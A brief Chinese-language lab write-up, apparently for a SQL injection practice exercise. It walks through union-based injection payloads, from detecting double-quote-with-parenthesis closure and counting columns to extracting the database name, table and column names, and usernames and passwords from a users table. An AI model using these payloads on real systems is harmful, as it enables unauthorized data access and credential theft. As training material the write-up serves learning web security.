判断注入类型
GET1" and "1"="1
,回显如下:
GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入
判断注入点个数
GET1" order by 3 --+
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3
GET1") order by 3 --+
GET
1") order by 4 --+
故注入点为
3
个
查库名
GET-1") union select 1,2,database(); --+
回显库名security
查表名
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+
回显四个表名

查users表的列名
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段
Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+
实例如下:
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
